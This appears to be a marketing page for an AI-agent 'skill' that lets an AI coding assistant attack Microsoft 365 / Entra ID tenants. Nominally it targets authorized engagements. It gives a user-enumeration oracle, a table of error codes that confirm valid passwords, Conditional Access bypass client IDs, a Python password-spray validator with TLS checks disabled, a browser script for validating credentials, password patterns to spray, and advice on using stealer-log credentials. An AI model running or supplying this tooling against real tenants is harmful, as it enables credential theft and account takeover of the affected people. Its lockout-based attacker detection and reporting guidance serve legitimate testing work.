★ ★ ★LIVE51 SPECIALIZED SKILLS ACROSS 8 ATTACK DOMAINS · BUGGY AI·VIEW SKILLS →★ ★ ★
BUGGY
buggy.hunt("https://target.com")→ [sqli] signal detectedclaude.triage(finding="blind-sqli")→ [7-gate] passed (7/7)recon.subdomains("target.com")→ [142] active assetsauth.audit_jwt(token="ey...")→ [none-alg] bypass foundbuggy.generate_report(cvss=9.8)→ [hackerone] markdown readyapi.probe_graphql("api.target.com/v1")→ [introspection] enabledm365.enum_users("target.com")→ [pw-spray] safe modemobile.decompile_apk("app.apk")→ [hardcoded-key] leakedbuggy.hunt("https://target.com")→ [sqli] signal detectedclaude.triage(finding="blind-sqli")→ [7-gate] passed (7/7)recon.subdomains("target.com")→ [142] active assetsauth.audit_jwt(token="ey...")→ [none-alg] bypass foundbuggy.generate_report(cvss=9.8)→ [hackerone] markdown readyapi.probe_graphql("api.target.com/v1")→ [introspection] enabledm365.enum_users("target.com")→ [pw-spray] safe modemobile.decompile_apk("app.apk")→ [hardcoded-key] leakedbuggy.hunt("https://target.com")→ [sqli] signal detectedclaude.triage(finding="blind-sqli")→ [7-gate] passed (7/7)recon.subdomains("target.com")→ [142] active assetsauth.audit_jwt(token="ey...")→ [none-alg] bypass foundbuggy.generate_report(cvss=9.8)→ [hackerone] markdown readyapi.probe_graphql("api.target.com/v1")→ [introspection] enabledm365.enum_users("target.com")→ [pw-spray] safe modemobile.decompile_apk("app.apk")→ [hardcoded-key] leaked
SKILLS/ENTERPRISE/m365-entra-attack
> 7-QUESTION GATE READY
/m365-entra-attackEnterprise PlatformsBoth ✓

M365/Entra Attack

Microsoft 365 and Entra ID attack surface — OAuth app consent phishing, token exfiltration via device flow, PRT abuse, and conditional access bypass.

# Run this skill in Claude Code: claude "/m365-entra-attack https://target.com" # Or trigger via context in Claude Chat: > Upload skill ZIP to claude.ai/customize/skills

[ When to use this skill ]

Trigger when:

  • Target uses M365 / Entra ID (autodiscover.* records, login.microsoftonline.com redirects, "Microsoft Office 365" in tech-stack notes)
  • You have a list of corporate emails or stealer-leaked creds
  • Engagement involves "credential spray", "password spray", "Entra attack", "ATO via M365"
  • You see *.onmicrosoft.com, *-my.sharepoint.com, enterpriseregistration.*, enterpriseenrollment.* in recon
  • Client mentions "Conditional Access", "MFA bypass", "compliant device"
DO NOT use for:
  • On-prem-only Active Directory (use a separate AD-attack skill)
  • Service-to-service token attacks (different threat model)
  • Phishing-required attack chains (covered by phishing skills) — but you can prep for the credential-validation step here

[ Tenant discovery (msftrecon) ]

bash
# For each owned domain
msftrecon -d client.example
msftrecon -d clientltd.example
msftrecon -d sister-brand-school.example

Key fields in output:

  • Tenant ID (different domains may share OR have separate tenants — always test all owned domains)
  • Federation Information.Namespace Type = Managed (cloud-only, ROPC works) | Federated (ADFS, different attack)
  • SharePoint Detected (Yes = OneDrive enum vector available)
  • Communication Services Teams/Skype (post-auth lateral targets)
  • Admin Consent Endpoint accessible (consent-phishing surface)
Red flag: if the org has multiple Entra tenants for sister domains, each is a separate attack surface with its own user list, lockout policy, and CA configuration. Don't assume one spray covers all.


[ AADSTS code reference (memorize) ]

AADSTSMeaningLockout impactWhat to do
50034User does not existNoneSkip; remove from spray list
50126Invalid username/password+1 attempt counterUser exists — try alternate password later (within cap)
50053Account locked (Smart Lockout)None (already locked)Pre-existing → flag to SOC; don't retry
53003CA blocked token issuance+1 attempt counterPASSWORD VALID — STOP, password is correct
50076MFA required+1 attempt counterPASSWORD VALID — second factor needed
50079Strong auth required+1 attempt counterPASSWORD VALID — same as 50076
50158External auth required+1 attempt counterPASSWORD VALID — federated MFA
530003Device-state required+1 attempt counterPASSWORD VALID — needs compliant device
65001Consent required+1 attempt counterApp-consent issue, not auth
700016App not in tenantNoneUser in different tenant — adjust target
90002Tenant does not existNoneTenant typo / dead tenant
Critical insight: any code in {53003, 50076, 50079, 50158, 530003} means the password is correct — Microsoft only returns these AFTER successful credential validation. Document as a confirmed-valid finding even if you can't get a token.

[ Smart Lockout math (the cap discipline) ]

Microsoft default policy:

  • 10 failed sign-ins in 10 minutes → 1-minute lockout
  • 20 failed sign-ins → progressively longer lockouts (exponential backoff)
  • Counter shared across ALL auth flows (ROPC + SAML + IMAP + EWS + SMTP + device-code)
Engagement discipline:
  • Hard cap: ≤2 password attempts per user lifetime per engagement (some engagements: 1)
  • State file with atomic writes — never let two test runs race the counter
  • Kill switch: stop run if more than N LOCKED responses observed (suggests pre-existing attacker activity OR you miscounted; either way pause)
Mathematical guarantee: with 1 attempt per user, you cannot cause Smart Lockout (1 < 10). Any AADSTS50053 you see is therefore pre-existing → use this for active-attacker detection (see mid-engagement-ir-detection skill).


[ User enumeration — vectors + hardening status (May 2026) ]

❌ HARDENED (no longer differential)

http
GET /getuserrealm.srf?login=<email>&xml=1
Returns identical XML for any email matching tenant's owned domain. Tenant-level only, not user-level.
http
POST /common/GetCredentialType
{"username":"<email>", "isOtherIdpSupported":true, ...}
Returns AADSTS1659001 (missing flowToken) without proper session — can't enumerate.
http
GET /autodiscover/autodiscover.json/v1.0/<email>?Protocol=AutodiscoverV1
Returns identical 200 + same JSON body for any address. Hardened ~2024.

✅ STILL WORKS (May 2026 — track shelf life)

OneDrive personal-site differential:

http
GET /personal/<user>_<domain>_com/_layouts/15/onedrive.aspx HTTP/1.1 Host: <tenant>-my.sharepoint.com
  • 302 → user EXISTS (auth-required redirect to Authenticate.aspx)
  • 404 → user does NOT exist (404 FILE NOT FOUND)
  • ZERO authentication attempt → ZERO lockout impact
  • Bonus: Sprequestduration header faster (~40ms) for existing users vs ~600ms for non-existent — secondary timing oracle
Caveats:
  • Only works if SharePoint is provisioned for the tenant (check msftrecon SharePoint Detected: Yes)
  • Microsoft is hardening these endpoints over time — re-verify before relying on it
  • Some users may exist in Entra without OneDrive provisioning (license-dependent) — false negatives possible
2026-05-17 re-verification (authorized-engagement revalidation): The OneDrive enum primitive STILL WORKS as of 2026-05-17. Calibration: licensed users return HTTP 200 with ~57KB body; nonexistent users / shared-mailbox accounts return 404 with 0 bytes. The /personal/ root path (without /_layouts/15/onedrive.aspx) returns the same differential.

Killer use case: license differential = account-class signal. Cross-reference OneDrive 200/404 with ROPC AADSTS50034/50126:

OneDriveROPCClassification
200AADSTS50076 (MFA req) or 50126Licensed regular user (real employee, MFA enforced)
200AADSTS50034(shouldn't happen — inconsistency, investigate)
404AADSTS50126Shared mailbox / functional / service account (no OneDrive license, has password) — historic MFA-exempt class, prime target for password guessing
404AADSTS50034Doesn't exist in tenant
404AADSTS50076Edge case (functional account WITH MFA enforced — rare)
The OneDrive-404 + ROPC-50126 combination is the signal for "functional account that might bypass MFA" — admins frequently exempt these from CA policies because they're used by automation that can't satisfy MFA. Discovered usefulness on authorized-engagement revalidation: identified noreply@, purchase@, accounts@, postmaster@, transport@ as functional-account candidates (typical for any conglomerate tenant).

ROPC AADSTS50034 / AADSTS50126 differential:

  • AADSTS50034 (user not exist) does NOT increment Smart Lockout counter
  • AADSTS50126 (wrong password) DOES increment
  • So a 1-attempt-per-user spray can be used as a coarse user-existence enumerator (each AADSTS50034 = miss, each AADSTS50126 = hit + 1 attempt burned)

[ Conditional Access bypass options (most blocked, document anyway) ]

VectorStatus (2026)Notes
Different ROPC client_id (Microsoft Graph PowerShell vs Azure CLI vs Office)Sometimes worksCA can be per-app; try 1b730954-1685-4b74-9bfd-dac224a7b894 (Graph PS), 04b07795-8ddb-461a-bbee-02f9e1bf7b46 (Azure CLI), d3590ed6-52b3-4102-aeff-aad2292ab01c (Office)
Different resource (graph.microsoft.com / outlook.office.com / management.azure.com)Sometimes worksCA scope can be per-resource
EWS / IMAP / POP3 / SMTP Basic AuthMostly disabledMS deprecated Basic Auth Oct 2022; per-account exceptions exist
FOCI (Family of Client IDs)Token-refresh pathUse a refresh token from one FOCI client to mint tokens for another
Device-code phishingWorksRequires user-side interaction (OOS for many engagements)
Compliant-device emulationHardRequires Intune device registration — high effort, often impossible without insider
AiTM session-cookie stealWorks (with phishing)Modern primary technique — out of scope for non-phishing engagements
FOCI + Family Refresh Token TheftPost-authRequires already having a token
SAML SSO via different SPSometimesEach enterprise app has its own CA policy; an app with weaker CA = pivot
Geo-bypass via VPNSometimesIf "trusted location" CA policy includes corp HQ IPs, use a VPN exit there
Key insight from this engagement: in a tenant with universal CA policy (compliant device + MFA), all the above paths return AADSTS53003 with the same flow. The cred is valid, but unusable from external. Phishing-completed cookie steal is the only realistic adversary path. Document this clearly so the client understands the threat model.

[ ROPC password validation (the canonical test) ]

Single-attempt validator pattern (Python):

python
import urllib.request, urllib.parse, ssl, time, json, os
ctx = ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
ATTEMPT_FILE = "engagement_log/o365_attempts.json"
HARD_CAP = 1  # or 2 — never higher

def attempt(email, password): state = json.load(open(ATTEMPT_FILE)) if os.path.exists(ATTEMPT_FILE) else {} if state.get(email.lower(), 0) >= HARD_CAP: return {"status": "SKIPPED_CAP"} body = urllib.parse.urlencode({ "resource": "https://graph.windows.net", "client_id": "1b730954-1685-4b74-9bfd-dac224a7b894", # Microsoft Graph PowerShell "client_info": "1", "grant_type": "password", "username": email, "password": password, "scope": "openid", }).encode() state[email.lower()] = state.get(email.lower(), 0) + 1 json.dump(state, open(ATTEMPT_FILE+".tmp", "w")) os.replace(ATTEMPT_FILE+".tmp", ATTEMPT_FILE) # atomic req = urllib.request.Request( "https://login.microsoftonline.com/common/oauth2/token", data=body, method="POST", ) req.add_header("Content-Type", "application/x-www-form-urlencoded") try: r = urllib.request.urlopen(req, context=ctx, timeout=15) body = json.loads(r.read()) # PARSE AS JSON — see CRITICAL TRAP below about substring matching if "access_token" in body: # ← JSON key check, NOT substring return {"status": "VALID", "body": body} return {"status": "STATUS_200_NO_TOKEN", "body": body} except urllib.error.HTTPError as e: msg = e.read().decode(errors="ignore") for code, status in [ ("AADSTS50034", "INVALID_USER"), ("AADSTS50126", "INVALID_PW"), ("AADSTS50053", "LOCKED"), ("AADSTS53003", "VALID_CA_BLOCK"), ("AADSTS50076", "VALID_MFA"), ("AADSTS50079", "VALID_MFA"), ]: if code in msg: return {"status": status, "code": code} return {"status": "OTHER", "msg": msg[:200]}

⚠ CRITICAL TRAP — AADSTS50076 body contains literal "access_token" substring

When CA policy requires MFA and ROPC cannot satisfy it, Entra returns an error body that INCLUDES a claims field listing CA policy IDs as a step-up challenge:

json
{
  "error": "invalid_grant",
  "error_description": "AADSTS50076: ...you must use multi-factor authentication...",
  "error_codes": [50076],
  "suberror": "basic_action",
  "claims": "{\"access_token\":{\"capolids\":{\"essential\":true,\"values\":[\"<policy-id-1>\",\"<policy-id-2>\"]}}}"
}

The "access_token" substring appears inside the CA claims challenge JSON. A loose substring check if "access_token" in raw_body: will false-positive every MFA-blocked attempt as a successful token issuance.

Always parse JSON, then check if "access_token" in parsed_dict: — never substring-match on OAuth error bodies. This was discovered in the 2026-05-17 authorized-engagement revalidation where a substring check produced 7 false-positive "CA bypasses" on Sway/Yammer/Bookings/Tunnel client_ids that were actually all enforcing MFA correctly.

The claims.access_token.capolids values are tenant-internal Conditional Access policy IDs — useful recon enrichment, but NOT a token. Document them in engagement notes as "CA policy IDs that fired" — they're a defender-side breadcrumb, not an attacker-side win.

Pace:

  • Per-IP: ≤30 req/sec is fine; Microsoft tolerates well
  • Per-user: hard cap from state file is the only thing that matters
  • Random jitter (1-5s between attempts) for less-machine-like signature

[ SAML SSO browser flow (for definitive cred validation when CA blocks ROPC) ]

When ROPC returns AADSTS53003, you've proven the password. To prove it across BOTH auth paths (and capture Microsoft's CA-block page as evidence), walk SAML SSO via Playwright:

python
import asyncio
from playwright.async_api import async_playwright

async def saml_validate(target_sp_url, username, password, screenshot_dir): async with async_playwright() as p: browser = await p.chromium.launch(headless=True, args=["--ignore-certificate-errors"]) context = await browser.new_context(ignore_https_errors=True) page = await context.new_page() # Step 1: navigate to SP await page.goto(target_sp_url, wait_until="networkidle", timeout=30000) # Step 2: click sign-in (selectors vary per SP) for sel in ["button:has-text('Sign in')", "a:has-text('Login')", "button:has-text('Azure')"]: try: await page.locator(sel).first.click(timeout=3000) break except: continue await page.wait_for_load_state("networkidle", timeout=20000) # Step 3: submit username at Microsoft await page.locator('input[name="loginfmt"], input[type="email"]').first.fill(username) await page.locator('input[type="submit"], #idSIButton9').first.click() await page.wait_for_load_state("networkidle", timeout=20000) # Step 4: submit password await page.locator('input[name="passwd"], input[type="password"]').first.fill(password) await page.locator('input[type="submit"], #idSIButton9').first.click() await page.wait_for_load_state("networkidle", timeout=30000) # Step 5: capture await page.screenshot(path=f"{screenshot_dir}/saml_final.png", full_page=True) content = await page.content() cookies = await context.cookies() await browser.close() # Check outcome low = content.lower() if "convergedconditionalaccess" in low or "53003" in low: return "CA_BLOCKED" # cred valid, CA wall elif "verify your identity" in low or "approve sign in" in low: return "MFA_REQUIRED" # cred valid, MFA wall elif "we couldn't sign you in" in low or "wrong" in low: return "INVALID" elif "<post-auth-landing-marker>" in low or "dashboard" in low: return "FULL_SUCCESS" # session obtained (replace marker per target app) return "UNCLEAR"

Microsoft's ConvergedConditionalAccess page (PageID in source) is the definitive evidence of CA-block.


[ Active-attacker detection via lockout differential ]

If you see AADSTS50053 (LOCKED) on multiple users despite your 1-attempt-per-user cap:

  • You did not cause these locks (math: 1 < 10).
  • An external attacker is actively spraying the tenant.
  • Cluster the locked users alphabetically — if they cluster, attacker is using a sorted username list.
  • Diff lockout count between spray-start and spray-end — new locks during your session = attacker is active right now.
  • Document the locked email list as a finding (SOC actionable — they pull sign-in logs for those users).
This is the highest-impact byproduct of any M365 spray engagement. Always track and report.


[ Common password patterns to spray (multi-brand enterprise targets) ]

  • <BrandName>@<Year><Brand>@2026, Tata@2026
  • <BrandName>@123<Brand>@123 (very common)
  • <PlantCity>@<Year><City1>@2026, <City2>@2026 (production plant cities)
  • <EmployeeID-as-password> — common in legacy apps (PAN number, employee code, phone last4)
  • Password@<year>, Welcome@<year>, Admin@<year> — generic defaults
  • <BrandName>@<Y2-digits><Brand>@26
Engagement caveat: when client provides leaked-cred dumps (stealer logs), use those FIRST. Each leaked cred is 1 cap-attempt against the strongest known guess for that user.

[ Engagement journaling (mandatory) ]

Every M365 attempt logs to JSONL:

json
{"ts":"2026-05-08T14:40:53","email":"user1@<client>.example","pw_first4":"<r4>","status":"VALID_CA_BLOCK","code":"AADSTS53003","attempts_used":1}

Per-user tracker (atomic):

json
{"user1@<client>.example": 1, "user2@<client>.example": 1, ...}

IP rotation log (per-day):

2026-05-08	<src-ip>	<ISP-AS>	<operator-handle>	Round 2 spray

These three artifacts are deliverable evidence for the report. They survive into the next engagement as state.


[ Real-world findings template (from authorized-engagement) ]

For the report:

Finding: 261 Entra accounts in pre-existing lockout state

  • Subject: Active external password-spray campaign detected
  • Evidence: o365_results.jsonl filtered to status=LOCKED
  • Math: 1-attempt-per-user × 261 LOCKED ≠ our doing
  • SOC action: pull sign-in logs for these 261 accounts over last 30-60 days
Finding: Valid M365 cred — <user>:<password> (CA-blocked)
  • Subject: Confirmed valid credential
  • Evidence: ROPC AADSTS53003 + SAML SSO ConvergedConditionalAccess page screenshot
  • Microsoft documentation excerpt: "AADSTS53003 returned only after password validation"
  • Recommendation: force password reset, audit org-wide for similar pattern

[ Anti-patterns (don't do these) ]

  • DON'T use the leaked cred for the user across multiple resources — burns the cap with no marginal benefit when CA blocks all paths
  • DON'T retry after AADSTS50053 — account is locked, you'll just see lockout again
  • DON'T spray more than ~30 attempts/sec to login.microsoftonline.com — Microsoft can flag the IP for sustained credential-stuffing pattern
  • DON'T forget to test ALL Entra tenants — sister domains often have separate tenants with different password policies
  • DON'T retract a CA-block finding — AADSTS53003 means the password is correct; that's the whole point

[ Tooling ]

bash
pip install --break-system-packages msftrecon o365spray  # may need to clone msftrecon from GitHub
brew install pandoc                                       # for report generation
go install -v github.com/projectdiscovery/...             # PD toolkit for general recon

Pre-built m365_validator.py template at engagement working directory engagement_log/m365_validator.py. Adapt the attempt() function to your engagement.


[ Related Skills & Chains ]

  • hunt-mfa-bypass — AADSTS50053 (lockout) vs AADSTS50126 (bad password) vs AADSTS50076 (MFA required) is a free factor-presence oracle. Chain primitive: M365 AADSTS50053 lockout differential observed → user has MFA but no CA enforcement on legacy auth → hunt-mfa-bypass factor-probe (SMS fallback, voice fallback, OAuth device-code flow, ROPC against legacy endpoint) → Conditional Access bypass via legacy-protocol path.
  • hunt-ntlm-info — On-prem NTLM topology leak feeds the Entra spray. Chain primitive: SharePoint/Exchange/IIS anon NTLM Type-2 → AV_PAIR decode yields corp.example.comm365-entra-attack resolves Entra tenant via openid-configuration → ROPC spray with realistic UPN format.
  • okta-attack — Hybrid orgs run Okta-as-IdP federated into Entra. Chain primitive: M365 getuserrealm returns NameSpaceType: Federated with AuthURL pointing to *.okta.com → pivot to okta-attack for tenant enumeration → Okta ATO → SAML assertion to Entra → full M365 access.
  • hunt-saml — Federated tenants accept signed SAML assertions; XSW or signature-stripping on the federated IdP bypasses Entra's controls entirely. Chain primitive: getuserrealm reveals federation → IdP fingerprinted (ADFS / Okta / PingFederate) → hunt-saml XSW1-XSW8 against IdP's /adfs/ls/ or equivalent → forged assertion → Entra grants access.
  • redteam-report-template — M365 findings need clear tenant/user/CA-policy framing because the blast radius is "every Microsoft service the org uses." Chain primitive: validated finding from this skill → run through triage-validation 7-Question Gate → package via redteam-report-template with explicit blast-radius (which apps, which users, which data) for client deliverable.
Skill Specifications
Command/m365-entra-attack
DomainEnterprise Platforms
EnvChat + Code
ReportsDisclosed
LicenseMIT Open Source
Ask buggy

Questions about M365/Entra Attack?

Disclosed Sources (3)
authorized-engagementmicrosoft-docsAADInternals
DOWNLOAD SKILL ZIP →← More Enterprise Platforms Skills